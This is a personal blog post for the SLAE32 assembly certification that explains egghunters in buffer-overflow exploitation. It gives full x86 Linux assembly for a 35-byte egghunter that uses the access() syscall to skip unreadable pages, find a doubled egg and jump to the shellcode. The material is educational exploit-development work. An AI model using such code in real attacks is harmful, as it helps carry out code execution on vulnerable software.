SLAE32 - Assignment 3

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: https://www.pentesteracademy.com/course?id=3

Student ID: PA-15072

All associated code can be found here: https://github.com/pAP3R/public/tree/master/SLAE32/assignments

Egghunters! Woooo!

I love egghunters, I think they're super cool.

There's a lot of information out there on the web about egghunters, and some really good papers too (e.g. Skape). If you're totally unfamiliar and just want the tldr, here's the gist of it:

Let's say you are testing some sort of server application, maybe it's an FTP app. The application has a couple different commands that accept some input, but when you send certain data to one of the commands, the application crashes in a way that allows you to control the flow of execution. "Hooray!" you might be thinking, "Now I can send my payload!"

To your dismay, after sending payload after payload you find you can only fit a measly 40 bytes in memory through this vulnerable command, womp womp. Earlier while fuzzing, you noticed you could send arbitrarily large amounts of bytes in the other commands though, then send your payload and take control of execution. There's a high probability the other thousand \x41's you sent right before invoking the crash are hanging out in memory, though... but where? Will that even matter?

This is where an egghunter comes in. An egghunter acts as a small piece of code which searches through arbitrary memory locations for a specific, unique string we define, known as an egg. Once it locates the egg, a good egghunter will check the bytes following the intial egg for another egg. If it doesn't find the egg twice, it continues to search memory, looking for the two eggs in a row. Assuming we prepend our shellcode with our egg, if the egghunter locates two eggs, which again, are expected to be unique values, then it returns the location it found.

Now, since our shellcode is prepended with the two unique eggs, the egghunter has found our shellcode in memory, and we're free to jump to it and begin execution.

There are a few caveats though, as always. Some memory just isn't readable, meaning our application will error out, crash, whatever, if we try to read from it. Since the goal of our egghunter is to read the memory we need ways to handle those errors, meaning we acquire some sort of indicator that the memory isn't readable, then skip over those locations to memory that IS readable.

We do this in a few parts:
  1. Check for a bad memory location
  2. Increase our 'Page' size to skip that section
  3. Back to step 1 
This begs the question, how we check if the memory is readable without trying to read it, right? Super smart people have identified functions in operating systems which take very little input as functions (think: a memory address) and return a value. The functions we specifically try to use within egghunters tend to return values which we can easily infer are good or bad, e.g. a readable memory location mayreturn the location, or 0x00000000. Whereas a function we can abuse for this purpose will return an error when it encounters a bad address, such as 0xFFFFFFF2, or an 'EFAULT' error. The two most commonly used functions on linux systems appear to be:
I created two egghunters for this assignment, one for both of the above. Here's my access() egghunter:
global _start
section .text
_start:
        ; zero edx for kicks
        xor edx, edx

fix_page:
        ; This is a hacky fix for page sizes
        ; 0xfff is 4095, so we inc edx later on to avoid nulls
        ; page fix is only called if we need some gud gud memory
        or dx, 0xfff
egghunter:
        inc edx
        ; int access(const char *pathname, int mode)
        ; Give ebx an arbitrary address within the page
        lea ebx, [edx + 4]

        ; push, pop, syscall for access()
        push dword 0x21
        pop eax
        int 0x80

        ; compare access() return for errors
        ; fix the page and get to gud gud memory
        ; but only if we got bad memory (f2 = EFAULT) :[
        cmp al, 0xf2
        je fix_page

        ; if not, load our egg into eax
        mov eax, 0x41414141

        ; load the memory to scan into edi
        mov edi, edx

        ; Scan it, jump to egghunter if no match
        scasd
        jnz egghunter

        ; Do that again, just to be sure
        scasd
        jnz egghunter

        ; If we got here, it's valid!
        jmp edi
And that's the egghunter. It's 35 bytes, but it's mine! That's it for assignment three.

Comments

Popular posts from this blog

06 - How to maybe not be so bad at fuzzing, Part 2

07 - Just Another OSCE Review

04 - DiskSavvy Enterprise 10.4.18 BoF SEH (and how I finally became not so bad at it)